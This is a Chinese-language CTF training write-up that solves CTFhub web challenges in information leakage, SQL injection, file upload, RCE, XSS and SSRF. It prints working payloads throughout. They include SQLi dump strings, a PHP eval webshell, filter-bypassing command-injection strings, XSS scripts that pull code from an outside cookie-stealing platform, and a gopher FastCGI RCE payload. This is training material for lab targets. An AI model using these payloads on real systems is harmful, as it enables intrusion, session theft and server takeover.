CTF—web基础
一:信息泄露
1、目录遍历漏洞
(1)原理:本质是没有过滤用户输入的 ../ 相关的目录跳转符,使得攻击者通过目录跳转符来遍历服务器中的任意文件。
(2)题解:
eg:根据提示遍历网页目录信息,会在某一个文件夹中发现一个flag.txt文件
2、phpinfo泄露
(1)定义:phpinfo 是 PHP中内置的函数,用于显示 PHP 的配置信息和当前运行环境的相关信息
(2)phpinfo泄露信息
system : 提供服务器所在的操作系统的信息。
$_SERVER[‘SERVER_ADDR’]: 公网IP地址
CONTEXT_DOCUMENT_ROOT : web根目录
disable_functions: 网站禁用函数
(3)题解:
直接ctrl+f在phpinfo中找到flag
eg:
3、备份文件下载
(1)网站源码泄露
常见的网站源码备份文件名称
web,website,backup,back,www,wwwroot,temp
题解:python脚本爆破/使用dirmap工具;本质都是通过字典进行爆破;
python脚本:
发现www.zip的状态码为200
dirmap工具:
(2)bak文件泄露
定义:bak文件就是网站备份文件,访问url/index.php.bak文件下载index源码获得flag
dirmap工具:
(3)vim缓存泄露
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露
vim一旦异常退出就会生成`.swp文件`,还有一种就是生成了index.php~文件;都属于vim缓存泄露,注意是隐藏文件;隐藏文件要加点.
题解:题目提示flag在index.php源码中;利用dirmap目录扫描工具进行扫描;扫描到了/.index.php.swp;访问 /.index.php.swp
直接下载找到flag。
eg:
(4).DS_Store
是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
eg:
直接在linux中使用cat命令看到txt文件,然后直接访问拿到flag
4、git泄露
思路:先用dirmap(比dirserch更好用)进行目录扫描;查看目录是否有git文件;如果有就使用githak工具或者wget下载泄露的源码!,下载泄露的git源码(然后在git源码中寻找flag)
(1)log泄露
以CTFhub-git泄露-log题目为例;首先对目标进行目录扫描;发现了git泄露
输入:
python2 GitHack.py http://challenge-9d92566392cb6f52.sandbox.ctfhub.com:10800/.git
进入dist/challenge-9d92566392cb6f52.sandbox.ctfhub.com_10800``dist目录就是工具githack将泄露的源码下载保存的地方
;输入git show,找到flag
git log 查看历史版本
git show 显示数值
git diff 版本对比
git reset 版本回退
(2)Stash泄露
使用dirmap对目标网站进行扫描;发现.git文件,使用githack下载.git源码
使用githack工具;输入:
python2 GitHack.py http://challenge-b09e9adae5e86058.sandbox.ctfhub.com:10800/.git
进入dist/challenge-b09e9adae5e86058.sandbox.ctfhub.com_10800
输入git log,发现出现了remove flag;输入git stash list ,然后出现了txt文档;直接查看得到flag
git stash pop 恢复缓存之前的工作目录
git stash list 查看存储
(3)index泄露
使用目录扫描工具扫描一下;发现.git文件;直接使用githack;进入dist目录;输入git show直接得到flag
dist目录就是工具githack将泄露的源码下载保存的地方
5、SVN泄露
1、工具安装
(1)安装dvcs-ripper
https://github.com/kost/dvcs-ripper
2、运行
(1)输入
./rip-svn.pl -u http://challenge-28cf1b40130e63b6.sandbox.ctfhub.com:10800/.svn
出现如下报错
输入
apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
(2)重新运行,成功
(3)寻找flag
注:.svn/pristine目录包含文件的原始、未修改版本
进入/home/…/svn/.svn/pristine,查看bf目录内容没有找到flag
进入4a目录,查看内容找到flag
6、HG泄露
(1)还是使用上面的dvcs-ripper工具;下载hg源码,一个一个目录进,查看flag
输入
./rip-hg.pl -u http://challenge-fe933d0b3e2b1c13.sandbox.ctfhub.com:10800/.hg
目录会出现.hg文件,是隐藏的;进入.hg文件寻找flag(一个一个找,找到了flag.txt;直接访问拿到flag)
二:密码口令
思路:考察对bp工具的使用以及对题目的分析能力!
1、弱口令
(1)自行查看本人文章DVWA靶场通关教程
;此处不再讲解BP爆破
(2)开始爆破(github自行寻找字典)
(3)爆破出admin/admin888;拿到flag
2、默认口令
(1)github上面直接寻找eYou邮件网关默认口令;直接爆破拿下flag
三:SQL注入
思路:ctf题目考察这一点的话肯定是从在漏洞的;无须挖掘漏洞!一般过程就是:首先判断数据的传值方式(GET/POST):如果是GET方式直接尝试用sqlmap工具跑;如果能跑出来万事大吉;如果跑不出来具体分析代码;看是否有过滤措施;根据相应的过滤措施制定绕过方法,最终拿到flag;如果是POST传值的话有三种爆破方式"抓包保存为.txt然后使用工具爆破,使用-r参数进行爆破""增加--data参数""使用hackbar插件手工注入”
1、数字型注入
(1)informartion_schema
该数据库中table_name;table_schema;column_name
三个字段分别表示存放“表名;数据库名;字段名”的字段;其中informartion_schema.tables
存放所有的表;informartion_schema.columns
存放所有的字段
(2)题解:
手工注入:
注入点:select * from news id=1
判断字段数 select * from news id=-1 union order by 2
查询数据库名称和版本 -1 union database(),version() //数据库为sqli
查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() //表名为flag
查询字段名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
//字段为flag
查询内容 -1 union select 1,group_concat(flag) from flag
//从flag表中查询flag字段的内容
工具注入:
爆破dbs
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -dbs
爆破tables
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli --tables
爆破columns
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -columns
爆破dump
python sqlmap.py -u "http://challenge-eefb5be71d6b8c50.sandbox.ctfhub.com:10800/?id=1" --cookie="" --batch -D sqli -T flag -C flag -dump
2、字符型注入
(1)
手工注入:发现是字符型;需要构造闭合逃逸单引号;使用# --+ or
三种的方式闭合!;其中# --+是数据库中的注释字符!
注入点:select * from news where id='1'
//使用1'#闭合;输出结果为 '1' #'
字段数:1' order by 1,2#
//字段数为2
显示位 1' union select 1,2#
数据库和版本信息:-1' union select database(),version()#
表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
//表名为flag
字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
//字段为flag
内容:-1' union select 1,group_concat(flag) from flag#
工具注入:url:还是get方式提交数据;同上!
3、报错注入
(1)手工注入:
- floor()
# paylod
# group by是分组;concat<==>group_cancat都是拼接函数
# 替换version()完成注入
Id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
- updatexml(data1,data2,data3)
Data1:xml文档对象的名称
Data2:xpath格式的字符串;不符合xpath格式会报错
Data3:新的替换格式
# Payload:
#
Select * from admin where id =1 and upadtexml(1,concat(0x7e,version(),0x7e),1);
- extractvlaue()
# Payload
Select * from admin where id=1 and extractvalue(1,concat(0x7e,version,0x7e));
//直接替换version();比如查询数据库;就替换成database()
(2)工具注入:
查看url还是get方式提交数据;同上!
ctfhub{d21c4f507bd542ffbf84e341}
4、布尔盲注
(1)手工注入
eg:页面会根据注入的信息返回success和fail;用户根据页面的回显信息不断的区猜解数据库的具体信息;手工就是使用bp一个字符一个字符的去爆破!
获取数据库长度:id=1 and length(database())=num
//使用bp爆破
获取数据库名称:
id=1 and substr(database(),1,1)='a'
//爆破数据库第一个字母;根据length爆破,(1,1)表示从1开始截取一个字符,那么第二个字符就是(2,1),一次类推
id=1 and ascii(substr(database(),1,1))=96//假设数据库为sqli
获取表名称
id=1 ord(mid(select table_name from information_schema.tables where table_name='sqli' limit 1,1),1,1)
//截取第一个表的第一个字符,mid<=>substr
获取字段名称
id=1 and(ord(mid(select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)
//获取第一个字段的子一个字母。其中(limit 1,1)表示第一个字段,(mid 1,1)表示第一个字段的第一个字母
获取内容
id=1 and(mid(select 字段 from 表名),1,1)=97//bp抓包爆破
(2)sqlmap自动化注入
//使用--technique B指定sql注入利用的技术;其中B布尔盲注
Python sqlmap.py -u “url” --technique B -batch -dbs
Python sqlmap.py -u “url” --technique B -batch -D admin -tables
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag -columns
Python sqlmap.py -u “url” --technique B -batch -D admin -T flag -C username,password -dump
5、时间盲注
(1)手工注入:
# 获取数据库长度
# 数据库长度为7则执行sleep7,否则不执行
id=1 and if(length(database()=7,sleep(3),null)
#获取数据库名称
# 数据库第一个字符为w执行sleep(3),否则为null
id=1 and if(substr(database(),1,1)='w',sleep(3),null)
#获取表名称
#limit 0,1 <==> 1 offset 0 表示第一个表
# substr 1,1 <==> from 1 for 1 表示第一个表的第一个字符
# 第一个表的第一个字符为a执行sleep(3),否则不执行
id=1 and if((substr(select table_name from information_schema.tables where table_schema=database()limit 0,1)1,1)='a')),sleep(3),null)
#获取字段
id=1 and if((substr(select column_name form information_schema.columns where table_name=’admin’ limit 0,1),1,1)=’a’),sleep(3),null)
#查询数据内容
id=1 and if((substr(select user from user limit 0,1),1,1)=’a’),sleep(3),null)
(2)工具注入
判断url,还是以GET方式进行传参;同上!
6、mysql结构
(1)判断url,还是以GET方式进行传参;同上!
找到flag!
7、过滤空格
(1)判断url;传值方式;发现还是GET,尝试用工具跑;发现跑不来;分析代码;发现对空格进行了过滤;空格绕过的话,sqlmap是直接跑不出来的,使用 /**/
绕过空格就可以用sqlmap工具进行爆破;使用如下url:
http://challenge-bf09b84c446b8972.sandbox.ctfhub.com:10800/?id=1/**/or/**/1=1
;同上进行爆破!
8、cookie注入
(1)根据提示是cookie注入(就是cookie中出现id=1的传递参数);所以直接用抓包进行手工注入
示例cookie:
判断列数:
Cookie: id=1 order by 1,2;
判断注入点:
Cookie: id=-1 union select 1,database();
爆破数据库:
Cookie: id=-1 union select 1,database();
爆破表:
Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);
爆破字段
Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='nlcalxydrn' limit 0,1);
爆破内容:
Cookie: id=-1 union select 1,(select bthklxaibf from pmztnmplmx limit 0,1);
得到flag
ctfhub{5b6afeee77278e163c7b8697}
9、UA注入
(1)和cookie注入类似。还是通过bp抓包;只不过是注入的位置发生了变化;从cookie变成user_agent
(2)过程
测试注入点(发现并没有过滤)
判断列名:1 order by 1,2,3
判断注入点 -1 union select 1,2
爆破数据库 -1 union select 1,database()
爆破表 -1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
爆破字段 -1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='uztgkqmitp' limit 0,1)
爆破内容 -1 union select 1,(select zecqtvxwmf from uztgkqmitp limit 0,1)
拿到flag
10、refer注入
(1)利用hackbar插件不断地修改refer的值;和上面过程相同,此处就不过多赘述!
三:文件上传
思路:考察各种文件上传的逃过思路以及对php代码的审计能力;能够根据php后端代码分析出过滤机制;找到正确的绕过方式!
1、无验证
(1)分析后端代码发现没有对上传的文件做任何的过滤;直接制作一句话木马上传;使用蚁剑连接;找到flag
2、前端验证
代码分析:通过分析代码发现javascript代码对文件的类型进行了过滤
(1)修改content-type;DVWA靶场演示过;跳过!
思路:尝试直接上传发现无法上传;首先上传一个正常jpg文件抓包获取content_type的值;上传一句话木马修改content-type的值;绕过前端验证
(2)修改后缀:将1.php修改为1.png;然后bp抓包在修改成1.php即可绕过前端验证
拿到flag:
(3)f12;找到设置,禁用js代码直接绕过验证!
3、.htaccess
(1)定义:.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行
。这些.htaccess文件可以用来改变Apache Web服务器软件的配置
,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
(2)思路:
查看网站前端代码,发现代码过滤了很多文件的后缀名;绕过前端验证也不行于是可以上传一个png格式的一句话木马;然后上传一个.htaccess文件(.htaccess文件的作用就是将png文件当作php文件执行)
(3)题解:
上传一个png的一句话木马;然后上传.htaccess文件;里面的内容为
AddType application/x-httpd-php .png //.png文件当作php文件解析
上传成功之后apache服务器就会解析这个.htaccess文件;然后会把png格式的文件当作php执行;那么就可以触发png的木马了
上传成功;拿到flag:
4、MIME绕过
(1)题解:MIME验证就是判断Content-Type的是否合法;如果不合法就不允许上传;直接修改contet-type的值为允许的值;比如修改为png格式;绕过验证!拿到flag
5、文件头检查
(1)思路:bp抓包;然后在数据包前面加上文件的头部数据即可GIF89a
(2)题解:上传图片马提示文件头部错误;分析后端代码发现对文件的头部进行了检验;和前端验证一样;加上文件头部即可并且修改后缀php;直接bp
抓包;直接上传成功;拿到flag;或者在010editor中加上文件头部上传也可以!
6、%00截断
(1)思路:用burp 抓包 在 “upload/” 后门添加 1.php%00 提交 ;上传成功;拿到flag
7、双写后缀
(1)思路:就是后端代码对php;jsp;asp等字符进行了替换;我们可以双写绕过拿到flag
8、其余类型
注意:其余类型自行查找!
四:RCE
简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面
1、eval执行
(1)分析后端代码:
if (isset($_REQUEST['cmd']))
检查是否从存在cmd参数;eval($_REQUEST["cmd"])
如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!
(2)查看网站当前目录
/?cmd=system(“ls”);
页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入
/?cmd=system(“ls /”);
好像找到了有关flag的信息
查看文件的信息
?cmd=system("cat /flag_26015");
拿到flag
2、文件包含
文件包含
(1)分析后端代码
根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息
(2)查看当前的目录文件(发现了index.php;shell.txt)
查看上一级目录的信息(看到etc flag文件)
ctfhub=system("ls /")
查看flag;输入
ctfhub=system("cat /flag");
php://input伪协议
(1)php://input
php://input用于执行php代码;条件是allow_url_include是On
;查看phpinfo文件;查看发现满足条件,直接利用!
(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>
点击send看到上一级目录有flag信息
修改为<?php system("cat /flag_27289");?>
拿到flag
远程包含
(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON)
;可以使用php://input执行php函数
(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息
)
过程:url+?file=php://input
;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>
;点击send;获得上一级目录信息;看到flag信息
修改playload:<?php system("cat /flag");?>
;拿下flag
读取源代码
(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码
(2)
题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag
http://URL/?file=php://filter/resource=../../../flag
3、命令注入
先导知识:
命令注入无过滤
(1)明确题目意思;查看当前目录下的文件
127.0.0.1|ls
使用cat 命令查看207971175014811.php
文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密
127.0.0.1|cat 14430616024597.php|base64
base64解密拿到flag
过滤cat
(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;
eg:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行
输入:
127.0.0.1& more flag_90501846017901.php|base64
解密拿到flag
过滤空格
(1)分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透—RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符
(1)输入127.0.0.1;ls
,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls
;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64
,拿到flag;或者直接f12
过滤运算符
(1)发现用不了运算符号了;那就使用;
;然后输入127.0.0.1;cat flag_29492699725561.php
直接f12查看源码;或者输入
127.0.0.1 ; base64 flag_29492699725561.php
直接得到flag
综合过滤练习
自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!
(1)查看服务器下的文件
&& <==> || <==> %0a <==> %0d
?ip=127.0.0.1%0als
空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
(2)查看存在flag文件目录下的文件
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
(3)查看flag文件的内容
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php
六:XSS
1、搭建XSS平台
搭建蓝莲花
(1)下载BlueLotus_XSSReceiver;解压到PHP study的www目录下;然后访问127.0.0.1/BlueLotus_XSSReceiver;初始化登录
搭建XSS platform平台
此处省略!很简单;自己寻找教程搭建!
2、反射型
(1)首先尝试用蓝莲花xss平台打cookie;但是不知道哪个步骤出现问题;老是获取不了cookie
示例:
payload:
获取响应:
结果:(就是没有cookie;不知道哪个环境出现问题)
(2)尝试了大佬的在线xss平台;成功了。自己重新搭建了一个另一个xss平台也成功拿到flag;需要在docker容器搭建,不演示了);但是蓝莲花的这个问题一直没有被解决;就是很垃圾!
在线xss平台:https://xssaq.com/
(该平台主机上线有提示语音并且功能比蓝莲花和我搭建的另一个xss平台都好,所以就借助大佬搭建的xss平台作为本期演示平台)
成功拿到flag
3、存储型
(1)将payload上传到第一个输入框
此时主机上线不携带cookie
将url输入到第二个输入框;xss平台提示上线成功,此时携带cookie
还能看到当前的网页截屏
4、DOM反射
(1)首先插入<script>alert(1)</script>
,发现攻击不成功,而返回的是;我们查看源码发现需要构造闭合
'></script><script>alert(1)</script>
发现成功了!
构造payload'></script><sCRiPt sRC=//xs.pe/cqW></sCrIpT>
,获取flag
5、DOM跳转
(1)首先尝试,不成功;尝试构造js语句
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800?jumpto=javascript:alert(1)
发现成功了,那么直接使用xss平台获取cookie
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xs.pe/cqW")
拿到flag
6、过滤空格
(1)使用paylod发现空格被过滤了<sCRiPt sRC=//xs.pe/cqW></sCrIpT>
(2)直接使用/**/
代替空格即可绕过
<sCRiPt/**/sRC=//xs.pe/cqW></sCrIpT>
拿到flag
7、过滤关键词
(1)正交提交脚本测试发现将scr开头的单词全部替换为空
(2)尝试了双写;不行;那就尝试一下大小写吧;好像可以;直接注入payload拿到flag
六:SSRF
1、内网访问
(1)题目提示:访问位于127.0.0.1的flag.php;直接利用ssrf漏洞访问
?url=127.0.0.1/flag.php
2、伪协议读取文件
(1)题目提示:尝试去读取一下Web目录下的flag.php吧
(2)什么是伪协议?
file:// 协议:访问本地文件系统;在ctf考察中通常来读取web目录的文件
http/s协议;探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
(3)构造payload(web根目录一般都是var/www/html)
/?url=file:///var/www/html/flag.php
f12拿到flag
3、端口扫描
(1)直接python写一个字典脚本;使用bp进行爆破;直接拿下flag
python脚本:
with open("password.txt", "w") as file:
for i in range(8000, 9001):
file.write(f"{i}\n")
4、post请求
(1)根据题目提示,一共有三个php文件;分别是flag.php、302.php、index.php;访问一下flag.php
http://challenge-10193e76d50d08cb.sandbox.ctfhub.com:10800?url=127.0.0.1/flag.php
f12发现了key;分析源码发现需要向服务器发送key才能拿到flag;于是构造post请求;使用gopher://协议
进行传输;(自行了解);拿到flag
5、文件上传
(1)构造payload;发现了文件上传点
/?url=127.0.0.1/flag.php
直接上传文件;但是发现没有上传按钮,修改html代码,增加提交按钮
<input type="submit" value="提交">
上传木马;但是发下上传不上去;那就是用gopher协议
6、FastCGI协议
(1)解释
fastcgi协议
则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record
组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件
(2)借助gopherus,构造从127.0.0.1访问payload,访问目录下的index.php, 别问我怎么知道在/var/www/html下有一个index.php文件;然后输入index.php目录,运行一下ls
自行下载gopherus-maste工具
把这一大段拉出来,准备二次编码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
写一个python脚本,把上述payload进行二次编码;把二次编码后的结果拿出来;放到url;用上述相同的方法读取根目录,这次的RCE远程执行命令为ls /,查看html的上级目录,看到flag
7、Redis协议
(1)Redis是一个流行的开源内存数据管理系统,默认端口为6379。客户端和Redis服务器通过这个端口进行通信,客户端连接到Redis服务器后,对其中的数据进行读写等操作。因此,这个端口也是攻击者的常见攻击目标
(2)还是用gopherus
python2 gopherus.py –exploit redis
PHPShell
<?php eval($_POST["aaa"])?>
antsword连接
拿到flag
8、URL Bypass
(1)请求的URL中必须包含http://notfound.ctfhub.com
,来尝试利用URL的一些特殊地方绕过这个限制吧;利用@如http://notfound.ctfhub.com@www.bbb.com, php会识别www.bbb.com
9、数字IP Bypass
(1)这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢;进制转换
?url = 0x7f.0.0.1/flag.php
10、DNS重绑定 Bypass
(1)生存时间(Time To Live)”- 简单的说它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
常见的设置TTL值的场景:
1.增大TTL值,以节约域名解析时间
2.减小TTL值,减少更新域名记录时的不可访问时间
注:web方向的基础篇到此结束!谢谢大家!